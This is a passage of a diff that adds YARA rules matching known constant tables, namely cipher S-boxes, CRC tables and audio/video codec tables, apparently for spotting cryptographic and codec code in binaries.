caeeeec729b8b86bd31414283cdedea7795e5ebce20b0b161ddbdbad76e0e0db3b323264563a3a744e0a0a141e494992db06060c0a2424486c5c5cb8e4c2c29f5dd3d3bd6eacac43ef6262c4a6919139a8959531a4e4e4d3377979f28be7e7d532c8c88b4337376e596d6ddab78d8d018cd5d5b1644e4e9cd2a9a949e06c6cd8b45656acfaf4f4f307eaeacf256565caaf7a7af48eaeae47e908081018baba6fd57878f08825254a6f2e2e5c721c1c3824a6a657f1b4b473c7c6c69751e8e8cb23dddda17c7474e89c1f1f3e214b4b96ddbdbd61dc8b8b0d868a8a0f857070e0903e3e7c42b5b571c46666ccaa484890d803030605f6f6f7010e0e1c126161c2a335356a5f5757aef9b9b969d086861791c1c199581d1d3a279e9e27b9e1e1d938f8f8eb1398982bb3111122336969d2bbd9d9a9708e8e0789949433a79b9b2db61e1e3c2287871592e9e9c920cece87495555aaff28285078dfdfa57a8c8c038fa1a159f8898909800d0d1a17bfbf65dae6e6d731424284c66868d0b8414182c3999929b02d2d5a770f0f1e11b0b07bcb5454a8fcbbbb6dd616162c3a }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_ccpl_huffbits6__8_byt_63_
+{
+strings:
+	$a0 = { 100f0e0d0c0b0b0b0b0a0a0a0a0909090909080808080707070706060505030104050506060707070708080808090909090a0a0a0a0a0b0b0b0b0c0d0e0e10 }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_6__32_big_1024_
+{
+strings:
+	$a0 = { 83a327a19f379f5140a7d00711307423224587c1ac27d63b3b7e64ea2e1cbfa60999600003bc0e2cd4c4478a4542e0abfeda26d4c1d10fcb8252f5964494eb5ca362f314f5ba81fd75c3a3764ca214cae164dedd5088fa974b0930e02fcfb7e833a6f4b2c7e942112d66c77443be8baec663d445908eb130f4e3be1563b9d566529396b51e1be7434d5ff63f985e4a8371ab9df7c516c6f585c19ab41f4daee4f2973431b713dc5e3f2e159ac824da1606bf376ab2fe23ece39b1c22f1eecb5f08e82d52565686c2ab0aea93fd47219febdbabd72404a1858c7312b9a8f2d8280c8902da65b42b63c0bbef624e3e4cef788f8018ee1ebab793928f9d683d2903d3b60689afcb0ddc88a4c47af6dd9c3d7ea5fca08a6d7244be11f12004ff91b88d2dc8c027f97fdb7f9e1f471734f0c726f3ed8e0df8f2bfb0833d9ee420a4e5a423cae6956167729ae6c049075941f2d8e12812000f6f4f3c0d6b056cef921cb82bc264396cb0085d608a6f6d7782c8186550aa6b6fec0928e70b1357ce5688ecd3af8423335a9591f40cd27b6a3b26bd32b3b63754a6fb8ed088f0f867e87c208517466410f9c635380442c2ca10a71adea27f76bddd7992742cf40e98f7ee164e931db9c835b369060a99b44c531efa7b66fec98a5b537d95aae9302f467b74b811def3866abdb5b3d32dfc3157a4d251fe190b5d8eacda71ffd547ea05a305c6a9e1ca0ee9589939034d25dc5edf79083cb186768450cf757d6d5972b6bca78d59c9c4ad8d412a362ad3d1179991601407ffdcf50917587069d0e0821ed6dbb5942773911a4b7c904fc3844afb926f8c955de8c0c5bbb67ab987a529d96cf91f7181618b1b06e718bb0c8bd7615bd5a93a5954aef81b772136e3ce44fd9c10cda57e87d66e0b3d7989671b2c18043edfbd6815f6e62bef68b8543896db3512b7b5e2cb4890299e4f98a562eb77a8217c24a2964152f649b2080a53d23ee748fb6d691903d1909449e494bf6e7886fb356cfa3a261365424bc1eba1192570019ca7829d3f7e0e9c127575edf02039ad57bcce5c15327781a84540bcaa7356ccd59b60a62a629ba25ccd102b5b65cf1c53583255fd4e3a31d9790df06bc37d4afc1d71aeed5533ba461634bb694b785f3a5c736a3c764a8fb0cca9f725684c4fe5382f1d0163af5aa07a8fe205a8edc30bad38ff22cf1f72432e2e32c2518b3487ce4e7ae0ac02709fa0980a3b395a5b4043f8a9e48c36149a8521d07dee6b46acd2f38958dffcb3a1223cb11d31c4cd7f4d3e0f28e3ade5b100beaac54824e9c9d7ba9bd4700180f149b066022f0f020c40486efa192a67073f8d13ec7bf93655011ae6afe157d9845f6edecc4425511ae2ccdf81b4d8d7809e55d6d883d92cc7978c5e787cc5dd0033d1a050c93797f75dcd299de58041e2b261ea5a54f1 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_percw__flt64___64_lil_480_
+{
+strings:
+	$a0 = { 3943f5ff3f98e23f3fdafdff3febe23f000000000040e33f15b9c1ff3f96e33fd3ea1b00c0ede33fee3ae6ffff46e43fbc8ef9ffbfa1e43fdc75ccfffffde43f185c2200005ce53fa7d5370080bbe53f926dbdffbf1ce63f9804c6ffbf7fe63f592ac8ff7fe4e63fcd531300c04ae73f0697080000b3e73f62643100401de83f12c519000089e83fe5af3500c0f6e83f7db4fbff7f66e93f3943f5ff3fd8e93fb060e8ffbf4bea3f5393bfff7fc1ea3f1b50caff3f39eb3f0697080000b3eb3f1ef32a00002fec3f6264310040adec3f6befe1ff7f2ded3f0000000000b0ed3fc1250200c034ee3f185c220000bcee3f15b9c1ff3f36ef3fe8a3ddffff93ef3fc1250200c0d4ef3fa13e2f0080f8ef3fb6f7f0ffbffeef3fd047bbffffe7ef3fe8a3ddffffb3ef3f6e9242004063ef3f9ba7260080f5ee3fa7d53700806bee3fa432d7ffbfc5ed3fc1250200c004ed3f1b50caff3f29ec3fe8a3ddffff33eb3fa432d7ffbf25ea3f9804c6ffbfffe83f9e9bceffbfc2e73f000000000070e63f12c519000009e53fad6c4000808ee33f2d15e4ff3f02e23f9ba726008065e03fd68d7c008073dd3fe20cd5ffff00da3f4dab6f000077d63f30b8440000d8d23fa18f76ffff4fce3fcab0b2ffffd4c63f1267a8feff87be3fad01a5fcff93ae3f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dnxhd_1252_ac_codes__16_big_514_
+{
+strings:
+	$a0 = { 000000010004000a000b000c001a001b00380039003a00760077007800f200f300f400f500f600f701f001f101f201f301f403ea03eb03ec03ed03ee03ef03f003f107e407e507e607e707e807e907ea07eb07ec07ed0fdc0fdd0fde0fdf0fe00fe10fe20fe30fe40fe50fe60fe71fd01fd11fd21fd31fd41fd51fd61fd71fd81fd91fda1fdb1fdc1fdd1fde3fbe3fbf3fc03fc13fc23fc33fc43fc53fc63fc73fc83fc93fca3fcb3fcc3fcd3fce3fcf7fa07fa17fa27fa37fa47fa57fa67fa77fa87fa97faa7fab7fac7fad7fae7faf7fb07fb17fb27fb37fb47fb57fb6ff6eff6fff70ff71ff72ff73ff74ff75ff76ff77ff78ff79ff7aff7bff7cff7dff7eff7fff80ff81ff82ff83ff84ff85ff86ff87ff88ff89ff8aff8bff8cff8dff8eff8fff90ff91ff92ff93ff94ff95ff96ff97ff98ff99ff9aff9bff9cff9dff9eff9fffa0ffa1ffa2ffa3ffa4ffa5ffa6ffa7ffa8ffa9ffaaffabffacffadffaeffafffb0ffb1ffb2ffb3ffb4ffb5ffb6ffb7ffb8ffb9ffbaffbbffbcffbdffbeffbfffc0ffc1ffc2ffc3ffc4ffc5ffc6ffc7ffc8ffc9ffcaffcbffccffcdffceffcfffd0ffd1ffd2ffd3ffd4ffd5ffd6ffd7ffd8ffd9ffdaffdbffdcffddffdeffdfffe0ffe1ffe2ffe3ffe4ffe5ffe6ffe7ffe8ffe9ffeaffebffecffedffeeffeffff0fff1fff2fff3fff4fff5fff6fff7fff8fff9fffafffbfffcfffdfffeffff }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A38_table_3__8_byt_64_
+{
+strings:
+	$a0 = { 01051d0619011217111300091819061f1c14181e041b030d0f100e120403080914000c1a15081c021d020f070b160e0a11150c1e1a1b101f0b070d170a051613 }
+
+condition:
+	$a0
+}
+
+	
+rule Yamaha_ADPCM_index_table__16_lil_32_
+{
+strings:
+	$a0 = { e600e600e600e6003301990100026602e600e600e600e6003301990100026602 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_transform_matrix_8x8__32_big_256_
+{
+strings:
+	$a0 = { 0000000C0000000C0000000C0000000C0000000C0000000C0000000C0000000C000000100000000F0000000900000004FFFFFFFCFFFFFFF7FFFFFFF1FFFFFFF00000001000000006FFFFFFFAFFFFFFF0FFFFFFF0FFFFFFFA00000006000000100000000FFFFFFFFCFFFFFFF0FFFFFFF7000000090000001000000004FFFFFFF10000000CFFFFFFF4FFFFFFF40000000C0000000CFFFFFFF4FFFFFFF40000000C00000009FFFFFFF0000000040000000FFFFFFFF1FFFFFFFC00000010FFFFFFF700000006FFFFFFF000000010FFFFFFFAFFFFFFFA00000010FFFFFFF00000000600000004FFFFFFF70000000FFFFFFFF000000010FFFFFFF100000009FFFFFFFC }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0x80f__16_lil_refl_False_
+{
+strings:
+	$a0 = { 00000f081e1011183c20332822302d38784077486650695844604b685a705578f080ff88ee90e198cca0c3a8d2b0ddb888c087c896d099d8b4e0bbe8aaf0a5f8ef09e001f119fe11d329dc21cd39c2319749984189598651ab69a461b579ba711f89108101990e9123a92ca13db932b167c968c179d976d15be954e145f94af1de13d11bc003cf0be233ed3bfc23f32ba653a95bb843b74b9a73957b84638b6b2e93219b30833f8b12b31dbb0ca303ab56d359db48c347cb6af365fb74e37beb311a3e122f0a20020d3a0232132a1c22495a4652574a5842757a7a726b6a6462c19ace92df8ad082fdbaf2b2e3aaeca2b9dab6d2a7caa8c285fa8af29bea94e2bc27b32fa237ad3f80078f0f9e17911fc467cb6fda77d57ff847f74fe657e95f4ca743af52b75dbf70877f8f6e97619f34e73bef2af725ff08c707cf16d719df532e5c264d3e42366f0e6006711e7e162b6e2466357e3a76174e1846095e0656a3aeaca6bdbeb2b69f8e9086819e8e96dbeed4e6c5fecaf6e7cee8c6f9def6d662346d3c7c24732c5e14511c40044f0c1a74157c04640b6c2654295c3844374c92b49dbc8ca483acae94a19cb084bf8ceaf4e5fcf4e4fbecd6d4d9dcc8c4c7cc8d3d8235932d9c25b11dbe15af0da005f57dfa75eb6de465c95dc655d74dd8457dbd72b563ad6ca5419d4e955f8d508505fd0af51bed14e539dd36d527cd28c5 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_ATM_poly_0xc1__8_byt_refl_True_
+{
+strings:
+	$a0 = { 00d9b56c6db4d801da036fb6b76e02dbb36a06dfde076bb269b0dc0504ddb16861b8d40d0cd5b960bb620ed7d60f63bad20b67bebf660ad308d1bd6465bcd009c21b77aeaf761ac318c1ad7475acc01971a8c41d1cc5a970ab721ec7c61f73aaa37a16cfce177ba279a0cc1514cda17810c9a57c7da4c811ca137fa6a77e12cb835a36efee375b825980ec3534ed815830e9855c5d84e831ea335f86875e32ebe23b578e8f563ae338e18d54558ce0395188e43d3ce589508b523ee7e63f538a4198f42d2cf599409b422ef7f62f439af22b479e9f462af328f19d44459cf02920f9954c4d94f821fa234f96974e22fb934a26fffe274b924990fc2524fd9148 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST_S__32_big_8188_
+{
+strings:
+	$a0 = { 30fb40d49fa0ff0b6beccd2f3f258c7a1e213f2f9c004dd36003e540cf9fc949bfd4af2788bbbdb5e203409098d096756e63a0e015c361d2c2e7661d22d4ff8e28683b6fc07fd059ff2379c8775f50e243c340d3df2f8656887ca41aa2d2bd2da1c9e0d6346c481961b76d8722540f2f2abe32e1aa54166b22568e3aa2d341d066db40c8a784392f004dff2f2db9d2de97943fac4a97c1d8527644b7b5f437a7b82cbaefd751d1596ff7f0ed5a097a1f827b68d090ecf52e22b0c054bc8e59354b6d2f7f50bb64a2d2664910bee5812db7332290e93b159fb48ee4114bff345dfd45c240ad31973fc4f6d02e55fc8165d5b1caada1ac2daea2d4b76dc19b0c50882240f20c6e4f38a4e4bfd74f5ba272564c1d2fc59c5319b949e354b04669feb1b6ab8ac71358dd6385c545110f935d57538ad56a390493e63d37e02a54f6b33a787d5f6276a0b519a6fcdf7a42206a29f9d4d5f61b1891bb72275eaa50816738901091c6b505eb84c7cb8c2ad75a0f874a1427a2d1936b2ad286afaa56d291d7894360425c750d93b39e26187184c96c00b32d73e2bb14a0bebc3c5462377964459eab3f328b827718cf8259a2cea604ee002e89fe78e63fab0950325ff6c281383f056963c5c876cb5ad6d49974c9ca180dcf380782d5c7fa5cf68ac3151135e79e1347da91d0f40f9086a7e2419e31366241051ef495aa573b044a805d8d548300d000322a3cbf64cddfba57a68e75c6372b50afd341a7c13275915a0bf56b54bfab2b0b1426ab4cc9d7449ccd82f7fbf265ab85c5f31b55db94aad4e324cfa4bd3f2deaa3e29e204d02c8bd25aceadf55b3d5bd9e98e31231b22ad5ad6c954329deadbe4528d8710f69aa51c90faa786bf622513f1eaa51a79b2ad344cc7b5a41f0d37cfbad1b06950541ece491b4c332e6032268d4c9600accce387e6dbf6bb16c6a70fb780d03d9c9d4df39dee01063da4736f4645ad328d8b347cc9675bb0fc398511bfb4ffbcc35b58bcf6ae11f0abcbfc5fe4aa70aec10ac39570a3f04442f6188b153e0397a2e5727cb799ceb418f1cacd68d2ad37c960175cb9dc69dff09c75b65f0d9db40d8ec0e77794744ead4b11c3274dd24cb9e7e1c54bdf01144f9d2240eb19675b3fda3ac3755d47c27af51c85f4d56907596a5bb15e6580304f0ca042cf1011a37ea8dbfaadb35ba3e4a3526ffa0c37b4d09bc306ed998a526665648f725ff5e569d0ced63d07c63b2cf700b45e1d5ea50f185a92872af1fbda7d4234870a7870bf32d3b4d7942e041980cd0ede726470db8f881814c474d6ad77c0c5e5cd1231959381b7298f5d2f4dbab8386536e2f1e2383719c9ebd91e0469a56456edc39200c20c8c571962bda1ce1e696ffb141ab087cca89b91a69e78302cc4843a2f7c579429ef47d427b169c5ac9f049dd8f0f005c8165bf1f201094ef0ba75b69e3cf7e393f4380fe61cf7aeec5207a55889c9472fc0651ada7ef794e1d7235d55a63cede0436ba99c430ef5f0c079418dcdb7da1d6eff3a0b52f7b59e83605ee15b094e9ffd909dc440086ef944459ba83ccb3e0c3cdfbd1da41813b092ab1f997f1c1a5e6cf7b01420ddbe4e7ef5b25a1ff41e180f8061fc41080179bee7ad37ac6a9fe5830a498de8b7f77e83f4e7992926924fa9f7be113c85bacc40083d7503525f7ea615f621431540d554b635d681121c866c3593d63cf73cee234c0d4d87e875c672b21071f618139f7627f361e3084e4eb573b602f64a4d63acd9c1bbc46359e81032d2701f50c99847ab4a0e3df79ba6cf38c108430942537a95ef46f6ffea1ff3b1f208cfb6a8f458c74d9e0a2274ec73a34fc884f693e4de8dfef0e00883559648d8a45388c1d804366721d9bfda58684bbe8256333844e8212128d8098fed33fb4ce280ae127e19ba5d5a6c252e49754bdc5d655ddeb66706477840b4da1b6a80184db26a9e0b5671421f043b7e5d0586054f03084066ff472a31aa153dadc4755b5625dbf68561be683ca6b942d6ed23beccf01dba6d3d0bab6803d5caf77a70933b4a34c397bc8d65ee22b955f0e530481ed6f6120e74364b45e1378de18639b881ca122b96726d18049a7e822b7da7b5e552d255272d23779d2951cc60d894c488cb4021ba4fe5ba4b09f6b1ca815cfa20c30058871df63b9de2fcb0cc6c9e90beeff53e3214517b45428359f63293cee41e7296e1d2d7c500452861e6685f3f33401c630a22c9531a7085060930f1373f98417a1269859ec645c4452c877a9cdff33a6a02b17417cbad9a22180036f50d99c08cb3f4861c26bd76564a3f6ab8034267625a75e7be4e6d1fc20c710e6cdf0b68017844d3b31eef84d7e0824e42ccb49eb846a3bae8ff77888ee5d60f67af756732fdd5cdba11631c130f66f43b3faec54157fd7faef8579ccd152de58db2ffd5e8f32ce19306af97a02f03ef899319ad5c242fa0fa7e3ebb0c68e4906b8da230c80823028dcdef3c8d35fb171088a1bc8bec0c56061a3c9e8bca8f54dc72feffa22822e9982c570b4d8d94e898b1c34bc301e16e6273be979b0ffeaa661d9b8c600b24869b7ffce3f08dc283b43daf65af7e197987619b72f8f1c9ba4dc8637a016a7d3b19fc393b7a7136eebc6bcc63e1a513742ef6828bc520365d62d6a77ab3527ed4b821fd216095c6e2edb92f2fb5eea29cb145892f591584f7f5483697b2667a8cc851960488c4bacea833860d40d23e0f96c387e8a0ae6d249b284600cd835731ddcb1c647ac4c56ea3ebd81b3230eabb06438bc87f0b5b1fa8f5ea2b3fc1846420a036b7a4fb089bd649da589a345415e5c0383233e5d3bb943d795727e6dd07c06dfdf1e6c6cc4ef7160a53973bfbe70838776054523ecf18defc24025fa5d9feb903dbfe810c90747607fff369fe44b8c1fc644aececa90beb1f9bfeefbcaeae8cf195051df07ae920e8806f0ad0548e13c8d83927010d511107d9f07647db9b2e3e4d43d4f285eb9afa820fade82e0a067268b8272792e553fb2c0489ae22bd4ef9794125e3fbc21fffcee825b1bfd9255c5ed1257a2404e1a8302bae07fff528246e78e57140e3373f7bf8c9f8188a6fc4ee8c982b5a5a8c01db7579fc26467094f31f2bd3f5f40fff7c11fb78dfc8e6bd2c1437be59b99b03dbfb5dbc64b638dc0e655819d99a197c81c4a012d6ec5884a28ccc36f71b843c2136c0743f18309893c0feddd5f2f7fe850d7c07f7e02507fbf5afb9a04a747d2d01651192eaf70bf3e58c313805f98302e727cc3c40a0fb4020f7fef828c96fdad5d2c2aae8ee99a4950da88b88427f4a01eac5790796fb4498252dc15efbd7d9ba672597dada840d845f54504fa5d7403e83ec3054f91751a925669c223efe941a903f12e60270df20276e4b694fd6574927985b28276dbcb02778176f8af918d4e48f79e8f616ddfe29d840e842f7d83340ce5c896bbb68293b4b148ef303cab984faf28779faf9b92dc560d224d1e208437aa887d29dc962756d3dc8b907ceeb51fd240e7c07ce3e566b4a1c3e9615e3cf8209d6094d1e3cd9ca3415c76460e00ea983bd4d67881fd47572cf76cedd9bda8229c127dadaa438a074e1f97c090081bdb8a93a07ebeb938ca1597b03cff3dc2c0f88d1ab2ec64380e5168cc7bfbd90f2788124901815de5ffd4dd7ef86a76a2e214b9a40368925d958f4b39fffaba39aee9a4ffd30bfaf7933b6d498623193cbcfa27627545825cf47a61bd8ba0d11e42d1cead04f4127ea39210428db78272a9729270c4a8127de50b285ba1c83c62f44f35c0eaa5e805d231428929fbb4fcdf824fb66a530e7dc15b1f081fab108618aefcfd086df9ff2889694bcc11236a5cae12deca4d2c3f8cc5d2d02dfef8ef5896e4cf52da95155b67494a488cb9b6a80c5c8f82bc89d36b453a609437ec00c9a9447152530a874b49d773bc407c34671c02717ef64feb5536a2d02fffd2bf60c4d43f03c050b4ef6d07478cd1006e1888a2e53f55b9e6d4bca204801697573833d7207d67de0f8f3d72f87b33abcc4f337688c55d7b00a6b0947b0001570075d2f9bb88f88942019e4264a5ff856302e072dbd92bee971b696ea22fde5f08ae2baf7a616de5c98767cf1febd261efc8c2f1ac2571cc8239c267214cb8b1e583d1b7dc3e627f10bdcef90a5c380ff0443d606e6dc660543a495727c1482be98a1d8ab4173820e1be24af96da0f6845842599833be5600d457d282f93508334b362d91d11202b6d8da0642b1e319c305a0052bce6881b03588af7baefd54142ed9ca4315c1183323ec5dfef4636a133c501e9d3531cee3537839db304201fb6e9dea7be7befd273a2984a4f7bdb64ad8c5785510443fa020ed17e287affe60fb663095f35a179ebf120fd059d436497b7b1f3641f63241e4adf28147f5f4fa2b8cdc94300400cc32220fdd30b30c0a5374f1d2d00d924147b15ee4d111a0fca516771ff904c2d195ffe1a05645f0c13fefe081b08ca0517012180530100e83e5efeac9af4f87fe72701d2b8ee5f06df4261bb9e9b8a7293ea25ce84ffdff57188013dd64b04a26f263b7ed48400547eebe6446d4ca06cf3d6f52649abdfaea0c7f536338cc1503f7e93d377206111b638e172500e03f80eb2bbabe0502eec8d77de57971e81e14f6746c93354006920318f081dbb99ffc304a54d3518057f3d5ce3a6c866c65d5bcca9daec6fea9f926f919f46222f3991467da5bf6d8e1143c44f43958302d0214eeb022083b83fb6180c18f8931e281658e626486e3e8bd78a707477e4c1b506e07cf32d0a2579098b02e4eabb8128123b2369dead381574ca16df871b62211c40b7a51a9ef90014377b041e8ac809114003bd59e4d2e3d156d54fe876d52f91a340557be8de00eae4a70ce5c2ec4db4bba6e756bdffdd3369acec17b0350657232799afc8b056c8c3916b65811c5e1461196e85cb75be07c002c2325577893ff4ec5bbfc92dd0ec3b25b7801ab78d6d3b2420c763efc366a5fc9c3828800ace3205aac9548aeca1d7c7041afa321d16625a6701902c9b757a5431d477f79126b03136cc6fdbc70b8b46d9e66a4856e55a79026a4ceb52437eff2f8f76b40df980a58674cde3edda04eb17a9be042c18f4dfb7747f9dab2af7b4efc34d202e096b7c1741a254e5b6a035213d42f62c1c7c2661c2f50f6552daf9d2c231f825130f69d8167fa20418f2c8001a96a60d1526ab63315c215e0a72ec49bafefd187908d98d0dbd86311170a73e9b640ccc3e10d7d5cad3b60caec388f73001e16c728aff71eae2a11f9af36ecfcbd12fc1de8417ac07be6bcb44a1d88b9b0f56013988c3b1c52fcab4be31cdd878280612a3a4e26f7de53258fd7eb6d01ee90024adffc2f4990fc59711aac5001d7b9582e5e7d2109873f600613096c32d9521ada121ff299084157fbb977faf9eb3db29c9ed2a5ce2a465a730f32cd0aa3fe88a5cc091d49e2ce70ce454a9d60acd86015f191977079103dea03af678a8565edee356df21f05cbe8b75e387b3c50651b8a5c3efd8eeb6d2e523be77c21545292f69efdfafe67afbf470c4b2f3e0eb5bd6cc987639e4460c1fda85381987832fca007367a99144f8296b299e492fc2959266beabb5676e699bd3dddadf7e052fdb25701c1b5e51eef65324e66afce36c0316cc048644213eb7dc59d07965291fccd6fd4341823979932bcdf6b657c34d4edfd2827ae5290c3cb9536b851e20fe9833557e13ecf0b0d3ffb3723f85c5c10aef7ed27ec90c042c6e74b99b0e66dfa6337911b86a7fff1dd358f544dd9d441731167f08fbf1fae7f511ccd2051b00735aba002ab722d8386381cbacf6243a69befd7ae6a2e77ff0c720cdc4494816ccf5c1803885164015b0a848e68b18cb4caadeff5f480a010412b2aa259814fc41d0efe24e40b48d248eb6fb8dba1cfe41a99b021a550a04ba8f65cb7251f4e795a51725c106ecd797a5980ac539b9aa4d79fe6af2f3f76368af8040ed0c9e5611b4958be1eb5a888709e6b0d7e071564e29fea76366e52d02d1c000c4ac8e059377f5710c05372a578535f22261be02d642a0c9df13a28074b55bd2682199c0d421e5ec53fb3ce8c8adedb328a87fc93d9599815c1ff900fe38d3990c4eff0b062407eaaa2f4fb14fb9697690c79505b0a8a774ef55a1ffe59ca2c2a6b62d27e66a4263df65001f0ec50966dfdd55bc29de0655911e739a17af897532c7911c89f894680d01e980524755f403b63cc90cc844b2bcf3f0aa87ac36e9e53a742601b3d82b1a9e744964ee2d7ecddbb1da01c94910b868bf800d26f3fd9342ede704a5c284636737b650f5b616f24766e38eca36c1136e05dbfef18391fb887a37d6e7f7d4c7fb7dc93063fcdfb6f589deec2941da26e46695b7566419f654efc5d08d58b748925401c1bacb7fe5ff550fb60830495bb5d0e887d72e5aab6a6ee1223a66cec62bf3cd9e0885f968cb3e47086c010fa21de820d18b69def3f65777fa02c3f6407edac3cbb3d5501793084db0d70eba0ab378d5d951fb0cded7da564124bbe494ca0b560f5755d1e0e1e56e6184b5be580a249f94f74bc0e327888e9f7b5561c3dc028005687715646c6bd744904db366b4f0a3c0f1648a697ed5af49e92ff6309e374f2cb6356a858085734991f84076f0ae02083be84d28421c9a44489406736e4cb8c10929108bc95fc67d869cf4134f616f2e77118db31b2be1aa90b4723ca5d7177d161bba9cad9010af462ba29fe459d245d34559d9f2da13dbc65487f3e4f94e176d486f097c13ea631da5c7445f7382175683f4cdc66a9770be0288b3cdcf726e5dd2f320936079459b80a5be60e2dba9c23101eba5315c224e42f21c5c1572f6721b2c1ad2fff38c25404e324ed72f4067b7fd0523138e5ca3bc78dc0fd66e75922283784d6b1758ebb16e44094f853f481d87fcfeae7b77b5ff768c2302bfaaf475565f46b02a2b0928013d38f5f70ca81f3652af4a8a66d5e7c0df3b0874950551101b5ad7a8f61ed5ad6cf6e47920758184d0cefa6588f7be584a0468260ff6f8f3a09c7f705346aba05ce96c28e176eda36bac307f376829d285360fa917e3fe2a24b79767f5a96b20d6cd259568ff1ebf7555442cf19f06bef9e0659aeeb9491d34010718bb30cab8e822fe1588570983750e6249da627e555e76ffa8b15345466d47de08efe9e7d4f6fa8f9d2cac6ce14ca34867e2337f7c95db08e7016843b4eced5cbc325553acbf9f0960dfa1e2ed83f0579d63ed86b91ab6a6b8de5ebe39f38ff7328989b13833f14961c01937bdf506c6dae4625e7ea308ea994e23e33c79cbd7cc48a14367a3149619fec94bd5a114174aeaa01866a084db2d09a8486fa888614a2900af9801665991e1992863c8f30c602e78ef3cd0d51932cf0fec14f7ca07d2d0a82072fd41197e9305a6b0e86be3da74bed3cd372da53c4c7f4448dab5d4406dba0ec3083919a79fbaeed949dbcfb04e670c535c3d9c0164bdb9412c0e636aba7dd9cdea6f7388e70bc76235f29adb5c4cdd8df0d48d8cb88153e208a198661ae2eac8284caf89aa9282239334be533b3a21bf16434be39aea3906efe8c36ef890cdd980226daec340a4a3df7e9c09a694a8075b7c5ecc221db3a69a69a02f68818a54ceb2296f53c0843afe89365525bfe68ab4628abccf222ebf25ac6f48a9a9938753bddb65e76ffbe7e967fd780ba935638e342bc1e8a11be94980740dc8087dfc8de4bf99a11101a07fd37975da5a26c0e81f994f9528cd89fd339fedb87834bf5f04456d22258698c9c4c83b2dc156be4f628daa57f55ec5e2220abed2916ebf4ec75b9524f2c3c042d15d99cd0d7fa07b6e27ffa8dc8af07345c106f41e232f35162386e6ea89263333b094157ec6f2372b74af692573e4e9a9d848f31602893a62ef1da787e238f3a5f67674364853209510634576698db6fad407592af95036f735234cfb6e877da4cec06c152daacb0396a8c50dfe5dfcd707ab0921c42f89dff0bb5fe2be78448f4f33754613c92b05d08d48b9d585dc049441c8098f9b7dede786c39a3373424100056a0917510ef3c8a6890072d628207682a9a9f7bebf32679dd45b5b75b353fd00cbb0e358830f220a1f8fb214d372cf08cc3c4a138cf63166061c87be88c98f886062e39747cf8e7ab6c852833cc2acfb3fc069764e8f025264d8314dda3870e31e665459c10908f0513021a56c5b68b7822f8aa03007cd3e74719eefdc872681073340d47e432fd90c5ec2418809286cf592d89108a930f6957ef305b7fbffbdc266e96f6fe4ac98b173ecc0bc60b42a953498dafba1ae122d4bd7360f25faaba4f3fcebe2969123257f0c3d9348af49361400bce8816f4a3814f200a3f940439c7a54c2bc704f57da41e7f9c25ad33a54f4a084b17f550559357cbeedbd15c87f97c5abba5ac7b5b6f6deaf3a479c3a5302da25653d7e6a54268d4951a477ea5017d55bd7d25d8844136c760404a8c8b8e5a121b81a928a60ed586997c55b96eaec991b2993591301fdb7f1088e8dfa9ab6f6f53b4cbf9f4a5de3abe6051d35a0e1d855d36b4cf1f544edebb0e93524bebb8fbda2d762cf49c92f5438b5f3317128a45448392905a65b1db8851c97bdd675cf2f85e04019332bf567662dbfffcfc656932a8d7f6fab9bc912de6008a12028da1f0227bce74d64291618fac30050f18b822cb2cb11b232e75c4b3695f2b28707dea05fbcf6cd4181e9e150210ce24ef1bdb168c381fde4e7895c79b0d81e8bfd434d49500138be4341913cee1d92a79c3f089766bebaeeadf41286becfb6eacb192660c2007565bde464241f7a8248dca9c3b3ad66281360860bd8dfa8356d1cf2107789beb3b2e9ce0502aa8f0bc0351e166bf52aeb12ff82e3486911d34d75164e7b3aff5f43671b9cf6e0374981ac83334266ce8c9341b7d0d854c0cb3a6c8847bc28294725ba37a66ad22b7ad61f1e0c5cbafa4437f107b6e7996242d2d8160a961288e1a5c06e13749e6772fc081ab1d139f7f9583745cf19df58bec3f756c06eba3007211b2445c28829c95e317fbc8ec51138bc46e9c6e6fa14bae8584aad4ebc46468f508b7829435ff124183b821dba9faff60ff4ea2c4e6d16e3926492544a8b009b4fc3aba68ced9ac96f7806a5b79ab2856e6e1aec3ca9be8386880e0804e955f1be56e7e5363bb3a1f25df7debb8561fe033c167462333c034c28da6d0c7479aac56c3ce4e1ad51f0c80298f8f35a1626a49feed82b291d382fe30c4fb99abb3257783ec6d97b6e77a6a9cb658b5cd45230c72bd1408b60c03eb7b9068d78a33754f4f430c87dc8a71302b96d8c32ebd4e7bebe8b9d2d7979fb06e72253088b75cf7711ef8da4e083c8588d6b786f5a6317a6fa5cf7a05dda0033f28ebfb0f5b9c310a0eac28008b9767aa3d9d2b079d34217021a718d9ac6336a2711fd60438050e3069908a83d7fedc4826d2bef4eeb8476488dcf2536c9d56628e74e41c2610aca3d49a9cfbae3b9dfb65f8de692aeaf643ac7d5e69ea80509f22b017da4173f70dd1e16c315e0d7f950b1b8872b9f4fd5625aba826a0179622ec01b9c15488aa9d716e74040055a2c93d29a22e32dbf9a058745b93453dc1ed699296e496cff6f1c9f4986dfe2ed07b87242d119de7eae053e561a15ad6f8c66626c1c7154c24cea082b2a93eb293917dcb0f058d4f2ae9ea294fb52cf564c9883fe662ec40581763953c301d6692ed3a0c108a1e7160ee4f2dfa6693ed285749046984c2b0edd4f7576565d393378a132234f3d321c5dc3f5e1944b269301c79f022f3c997e7e5e4f95043ffafbbd76f7ad0e296693f43d1fce6fc61e45bed3b5ab34f72bf9b71b0434c04e72b5675592a33db5229301cfd2a87f60aeb7671814386b30bcc33d38a0c07dfd1606f2c363519b589dd3905479f8e61cb8d64797fd61a9ea7759f42d57539d569a58cfe84e63ad462e1b786580f87ef381791491da55f440a230f3d1988f35b6e318d23ffa50bc3d40f021c3c0bdae4958c24c518f36b284b1d3700fedce83878ddadaf2a279c794e01be890716f4b954b8aa3e216300dbbddfffca7ebdabd356480957789f8b7e6c1121b0e241600052ce8b511a9cfb0e5952f11ece7990a9386d1742a42931c76e38111b12def3a37ddddfcde9adeb10a0cc32cbe19702984a00940bb243a0fb4d137cfb44e79f0049eedfd0b15a15d480d31688bbbde5a669ded42c7ece8313f8f95e772df191b7580330d940742515c7dcdfaabbe6d63aa402164b301d40a02e7d1ca53571dae7a3182a212a8d